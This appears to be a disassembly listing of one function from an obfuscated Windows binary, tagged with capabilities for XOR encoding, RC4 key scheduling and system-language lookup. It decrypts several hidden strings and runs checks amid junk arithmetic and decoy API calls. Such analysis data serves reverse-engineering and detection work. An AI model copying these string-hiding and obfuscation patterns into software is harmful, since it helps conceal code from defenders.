Function at 0x643c2c9c
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 5
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x652]
mov esi, 0x643ea5f1
push ebx
sub esp, 0x6cc
mov eax, dword [0x643e7e10]
add dword [0x643e7db0], 0x44cb6132
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x5b0]
mov esi, 0x643ea605
mov ecx, 0x25
rep movsb byte es:[edi], byte [esi]
sub eax, 0x2bd97d4e
and eax, 0x7834a7a0
mov dword [0x643e7e10], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [0x643e7db0]
add eax, 0x58ba2d19
mov dword [0x643e7e10], eax
mov dword [esp + 4], str.AslPathIsOnRemovableMedia
mov dword [esp], str.AslPathIsOnRemovableMedia
call fcn.643cf620
mov edx, str.AslPathIsOnRemovableMedia
mov ecx, 0x13b3
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c2d32
add ecx, eax
cmp ecx, 0x18f2
jbe 0x643c2d1d
mov eax, dword [0x643e7e10]
and eax, 0x55eed4f7
mov dword [0x643e7db0], eax
xor eax, eax
mov byte [eax + ebp - 0x518], al
inc eax
cmp eax, 0x100
jne 0x643c2d43
xor edi, edi
xor ebx, ebx
mov ecx, 0x24
mov eax, ebx
xor edx, edx
movzx esi, byte [ebp + ebx - 0x518]
div ecx
mov eax, esi
add al, byte [ebp + edx - 0x5b0]
add eax, edi
movzx edi, al
xor eax, eax
cmp byte [eax + 0x643e9be0], 0
je 0x643c2daa
inc eax
cmp eax, 0xfe
jne 0x643c2d79
mov eax, dword [0x643e7db0]
or eax, 0x64434a18
mov dword [0x643e7e10], eax
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
imul eax, eax, 0x96a1ff40
mov dword [0x643e7e10], eax
or dword [0x643e7db0], 0x2b05e12e
call dword [sym.imp.USER32.dll_AnyPopup]
mov eax, dword [0x643e7e10]
xor eax, 0x8bf7a244
mov dword [0x643e7db0], eax
mov dword [esp], 0x643e9be0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
imul eax, eax, 0x5239cbfe
push edx
xor eax, 0xf15cd440
mov dword [0x643e7e10], eax
mov al, byte [ebp + edi - 0x518]
mov byte [ebp + ebx - 0x518], al
mov eax, esi
inc ebx
mov byte [ebp + edi - 0x518], al
cmp ebx, 0x100
jne 0x643c2d56
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x518]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x518]
mov byte [ebp + edx - 0x518], bl
mov byte [ebp + ecx - 0x518], al
add al, byte [ebp + edx - 0x518]
movzx eax, al
mov al, byte [ebp + eax - 0x518]
xor al, byte [esi + ebp - 0x652]
movzx eax, al
mov word [ebp + esi*2 - 0x540], ax
inc esi
cmp esi, 0x14
jne 0x643c2e11
mov word [ebp - 0x518], 0
mov edx, str.AslPathIsOnRemovableMedia
mov ecx, 0xd24
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c2ead
add ecx, eax
cmp ecx, 0x214a
jbe 0x643c2e72
mov dword [esp + 8], 0x643e9be0
mov dword [esp + 4], str.WER_Heap:_u:_ERROR_Invalid_arguments
mov dword [esp], str.AslPathIsOnRemovableMedia
call fcn.643d0738
add dword [0x643e7e10], 0x7e435870
mov eax, dword [0x643e7e10]
lea edi, [ebp - 0x692]
mov esi, 0x643ea62a
and eax, 0xc445b124
add eax, 0x688804fd
mov dword [0x643e7e10], eax
call fcn.643d1310
mov ebx, dword [0x643e7db0]
mov ecx, 0xd
imul eax, dword [0x643e7e10], 0x619fc30c
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x58b]
mov esi, 0x643ea637
mov ecx, 0x25
rep movsb byte es:[edi], byte [esi]
or ebx, 0xe7008785
cmp byte [str.VirtualAlloc], 0
mov dword [0x643e7e10], eax
mov dword [0x643e7db0], ebx
je 0x643c2f25
call fcn.643cfc74
xor ebx, 0x674425d
mov dword [0x643e7e10], ebx
mov eax, dword [0x643e7e10]
xor eax, 0xb3a6e416
mov dword [0x643e7db0], eax
xor eax, eax
mov byte [eax + ebp - 0x418], al
inc eax
cmp eax, 0x100
jne 0x643c2f36
xor esi, esi
xor ebx, ebx
mov ecx, 0x24
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x418]
div ecx
mov eax, edi
mov ecx, 0xd8
add al, byte [ebp + edx - 0x58b]
mov edx, str.AslPathIsOnRemovableMedia
add eax, esi
movzx esi, al
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c2f98
add ecx, eax
cmp ecx, 0x1174
jbe 0x643c2f74
call fcn.643d05d4
sub dword [0x643e7db0], 0x25959d37
mov eax, dword [0x643e7db0]
imul edx, eax, 0x3df45ab7
or eax, 0x25f7e118
mov dword [0x643e7db0], eax
mov dword [0x643e7e10], edx
call fcn.643ce1b4
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ebx - 0x418], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0x418], al
cmp ebx, 0x100
jne 0x643c2f49
xor eax, eax
cmp byte [eax + 0x643e9be0], 0
je 0x643c301c
inc eax
cmp eax, 0x192c
jne 0x643c2fde
mov dword [esp + 8], 0x643e9be0
mov dword [esp + 4], str.WER_Heap:_u:_ERROR_Invalid_arguments
mov dword [esp], str.AslPathIsOnRemovableMedia
call fcn.643d0738
imul eax, dword [0x643e7db0], 0xdfe13d6e
mov dword [0x643e7e10], eax
jmp 0x643c3029
mov edx, dword [0x643e7e10]
cmp eax, 0xbb2
jle 0x643c3035
add dword [0x643e7db0], 0x39a5a46c
jmp 0x643c3041
mov eax, edx
xor eax, 0x373567eb
mov dword [0x643e7e10], eax
mov eax, dword [0x643e7e10]
sub eax, 0x14a2917c
mov dword [0x643e7e10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.AslPathIsOnRemovableMedia
mov dword [esp + 4], str.AslPathIsOnRemovableMedia
mov dword [esp], str.WER_Heap:_u:_ERROR_Invalid_arguments
call fcn.643d0978
mov edx, str.WER_Heap:_u:_ERROR_Invalid_arguments
mov al, byte [edx]
sub eax, 0x30
cmp al, 9
ja 0x643c3081
inc edx
jmp 0x643c3075
mov eax, dword [0x643e7e10]
xor esi, esi
xor edx, edx
xor edi, edi
add eax, 0x616fb4c2
mov dword [0x643e7db0], eax
lea eax, [edi + 1]
movzx edi, al
xor eax, eax
mov bl, byte [ebp + edi - 0x418]
add edx, ebx
movzx edx, dl
cmp byte [eax + str.VirtualAlloc], 0
je 0x643c30c5
inc eax
cmp eax, 0x5b3
jne 0x643c30aa
sub dword [0x643e7db0], 0x13e93e4
mov eax, dword [0x643e7db0]
mov dword [ebp - 0x6c0], edx
sub eax, 0x1c303de
mov dword [0x643e7e10], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 0x6c0]
xor eax, 0xe9dbc7a3
mov dword [0x643e7db0], eax
imul eax, eax, 0x2d52182
mov dword [ebp - 0x6bc], eax
and eax, 0xcaf8f98a
mov dword [0x643e7e10], eax
mov al, byte [ebp + edx - 0x418]
mov byte [ebp + edi - 0x418], al
mov byte [ebp + edx - 0x418], bl
mov al, byte [ebp + edi - 0x418]
add eax, ebx
movzx eax, al
mov al, byte [ebp + eax - 0x418]
xor al, byte [ebp + esi - 0x692]
movzx eax, al
mov word [ebp + esi*2 - 0x628], ax
inc esi
cmp esi, 0xd
jne 0x643c3096
mov word [ebp - 0x60e], 0
lea edi, [ebp - 0x6b7]
mov esi, 0x643ea65c
xor eax, eax
mov ecx, 0xb
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x69e]
mov esi, str.TLS_Storage
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
mov byte [ebp + eax - 0x318], al
inc eax
cmp eax, 0x100
jne 0x643c3179
xor edi, edi
xor esi, esi
mov eax, esi
mov ebx, 0xb
xor edx, edx
mov cl, byte [ebp + esi - 0x318]
div ebx
movzx eax, byte [ebp + edx - 0x69e]
movzx edx, cl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x318]
mov byte [ebp + esi - 0x318], al
inc esi
mov byte [ebp + edi - 0x318], cl
cmp esi, 0x100
jne 0x643c318c
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x318]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x318]
mov byte [ebp + edx - 0x318], bl
mov byte [ebp + ecx - 0x318], al
add al, byte [ebp + edx - 0x318]
movzx eax, al
mov al, byte [ebp + eax - 0x318]
xor al, byte [esi + ebp - 0x6b7]
movzx eax, al
mov word [ebp + esi*2 - 0x63e], ax
inc esi
cmp esi, 0xb
jne 0x643c31d4
mov ebx, dword [ebp - 0x6bc]
and ebx, 0xca089802
mov dword [0x643e7db0], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, str.VirtualAlloc
or eax, 0x514a65d
mov dl, byte [ecx]
test dl, dl
je 0x643c3261
sub edx, 0x30
cmp dl, 9
jbe 0x643c325e
sub dword [0x643e7db0], 0x3a8ed9fb
jmp 0x643c3261
inc ecx
jmp 0x643c3244
sub eax, 0x674353d3
mov dword [0x643e7e10], eax
call fcn.643d2564
cmp byte [str.VirtualAlloc], 0
mov word [ebp - 0x628], 0
je 0x643c32ad
mov dword [esp + 8], str.VirtualAlloc
mov dword [esp + 4], 0x643e9be0
mov dword [esp], str.AslPathIsOnRemovableMedia
call fcn.643d0738
mov eax, dword [0x643e7e10]
sub eax, 0x15c20d88
mov dword [0x643e7db0], eax
lea edi, [ebp - 0x678]
mov esi, 0x643ea673
mov ecx, 4
or dword [0x643e7e10], 0x3b78cb2d
rep movsd dword es:[edi], dword [esi]
mov esi, str.The_authentication_type_is_unknown.
lea edi, [ebp - 0x5d4]
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
imul eax, dword [0x643e7db0], 0x6104d2a9
mov dword [0x643e7db0], eax
xor eax, eax
cmp byte [eax + str.VirtualAlloc], 0
je 0x643c3313
inc eax
cmp eax, 0x4e5
jne 0x643c32ec
call fcn.643d1310
imul eax, dword [0x643e7e10], 0xfe17acfd
mov dword [0x643e7db0], eax
jmp 0x643c331a
cmp eax, 0x2ae
jle 0x643c3329
mov eax, dword [0x643e7db0]
add eax, 0xae3b935
mov dword [0x643e7e10], eax
mov eax, dword [0x643e7e10]
add eax, 0x6c4b7202
mov dword [0x643e7db0], eax
or eax, 0x8e74d5e7
mov dword [0x643e7e10], eax
call fcn.643ce1b4
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x643c3349
mov eax, dword [0x643e7e10]
lea edx, [eax - 0x28881109]
mov dword [0x643e7db0], edx
xor edx, edx
cmp byte [edx + 0x643e9be0], 0
je 0x643c3389
inc edx
cmp edx, 0x986
jne 0x643c336b
lea edx, [eax + 0x37fdbe23]
mov dword [0x643e7db0], edx
sub eax, 0x4cd9fad7
xor edi, edi
mov esi, 0x23
xor eax, 0xef3094ea
mov dword [0x643e7e10], eax
call fcn.643d0254
xor ecx, ecx
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x218]
div esi
movzx eax, byte [ebp + edx - 0x5d4]
movzx edx, bl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + ecx - 0x218], al
inc ecx
mov byte [ebp + edi - 0x218], bl
cmp ecx, 0x100
jne 0x643c33a6
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x218]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x218]
mov byte [ebp + edx - 0x218], bl
mov byte [ebp + ecx - 0x218], al
add al, byte [ebp + edx - 0x218]
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [esi + ebp - 0x678]
movzx eax, al
mov word [ebp + esi*2 - 0x5f4], ax
inc esi
cmp esi, 0x10
jne 0x643c33e9
mov word [ebp - 0x5d4], 0
lea edi, [ebp - 0x685]
xor eax, eax
mov esi, 0x643ea683
mov ecx, 0xd
mov edx, dword [0x643e7e10]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x566]
mov esi, 0x643ea690
mov ecx, 0x26
rep movsb byte es:[edi], byte [esi]
or edx, 0xc9885443
mov byte [eax + ebp - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c3472
mov dword [0x643e7db0], edx
xor esi, esi
xor ebx, ebx
mov ecx, 0x25
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x118]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0x566]
add eax, esi
movzx esi, al
mov eax, dword [0x643e7db0]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov edx, str.VirtualAlloc
push eax
mov al, byte [edx]
test al, al
je 0x643c34e1
sub eax, 0x30
cmp al, 9
jbe 0x643c34de
mov eax, dword [0x643e7db0]
xor eax, 0xdae57929
mov dword [0x643e7e10], eax
jmp 0x643c34e1
inc edx
jmp 0x643c34c0
mov al, byte [ebp + esi - 0x118]
sub dword [0x643e7db0], 0x61ad96e1
mov byte [ebp + ebx - 0x118], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0x118], al
cmp ebx, 0x100
jne 0x643c348b
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
mov dword [ebp - 0x6bc], edx
movzx esi, al
mov bl, byte [ebp + esi - 0x118]
lea eax, [ebx + edi]
movzx edi, al
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov edx, dword [ebp - 0x6bc]
mov ecx, str.WER_Heap:_u:_ERROR_Invalid_arguments
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
mov al, byte [ecx]
sub eax, 0x30
cmp al, 9
ja 0x643c3555
inc ecx
jmp 0x643c3549
mov eax, dword [0x643e7db0]
mov dword [ebp - 0x6bc], edx
add eax, 0x55adf0b1
mov dword [0x643e7e10], eax
call fcn.643d0254
mov edx, dword [ebp - 0x6bc]
mov byte [ebp + edi - 0x118], bl
add bl, byte [ebp + esi - 0x118]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
xor al, byte [ebp + edx - 0x685]
movzx eax, al
mov word [ebp + edx*2 - 0x60e], ax
inc edx
cmp edx, 0xd
jne 0x643c3511
mov word [ebp - 0x5f4], 0
xor edi, edi
xor edx, edx
xor ebx, ebx
imul eax, dword [0x643e7db0], 0xb5a2b600
mov dword [ebp - 0x6ac], 0x25
mov dword [ebp - 0x6a8], 0x5e
mov dword [ebp - 0x6a4], 0xffffff7d
mov dword [0x643e7db0], eax
mov esi, str.VirtualAlloc
mov cl, byte [esi]
test cl, cl
je 0x643c3607
sub ecx, 0x30
cmp cl, 9
jbe 0x643c3604
or eax, 0xef3c12fb
mov edi, 1
jmp 0x643c3607
inc esi
jmp 0x643c35ea
sub ebx, dword [ebp + edx*4 - 0x6ac]
inc edx
cmp edx, 3
jne 0x643c35e5
mov edx, eax
mov ecx, edi
and edx, 0xd64f218
mov dword [0x643e7e10], edx
test cl, cl
je 0x643c362d
mov dword [0x643e7db0], eax
lea eax, [ebp - 0x540]
mov ecx, 0x643e9be0
mov dword [ebp - 0x668], eax
lea eax, [ebp - 0x628]
mov dword [ebp - 0x664], eax
lea eax, [ebp - 0x63e]
mov dword [ebp - 0x660], eax
lea eax, [ebp - 0x5f4]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x60e]
mov dword [ebp - 0x658], eax
mov eax, 0x1f11
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x643c3695
add eax, edx
cmp eax, 0x10e1
jbe 0x643c3673
call fcn.643d4480
add dword [0x643e7e10], 0x2cfaa55e
jmp 0x643c369c
cmp eax, 0x10e1
jbe 0x643c36a1
call fcn.643d4480
mov eax, dword [0x643e7db0]
xor esi, esi
mov edx, eax
xor eax, 0xd2d19b6
xor edx, 0x6985238b
mov dword [0x643e7db0], eax
mov dword [0x643e7e10], edx
mov eax, dword [ebp + esi*4 - 0x668]
mov dword [esp], eax
call fcn.643c10e8
test eax, eax
je 0x643c370b
cmp byte [str.WER_Heap:_u:_ERROR_Invalid_arguments], 0
je 0x643c36f0
mov dword [esp + 4], str.AslPathIsOnRemovableMedia
mov dword [esp], str.AslPathIsOnRemovableMedia
call fcn.643cf620
imul eax, dword [0x643e7db0], 0x1eeee6cf
mov ebx, 1
xor eax, 0xcf1f82b5
mov dword [0x643e7e10], eax
jmp 0x643c3711
inc esi
cmp esi, 5
jne 0x643c36c0
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret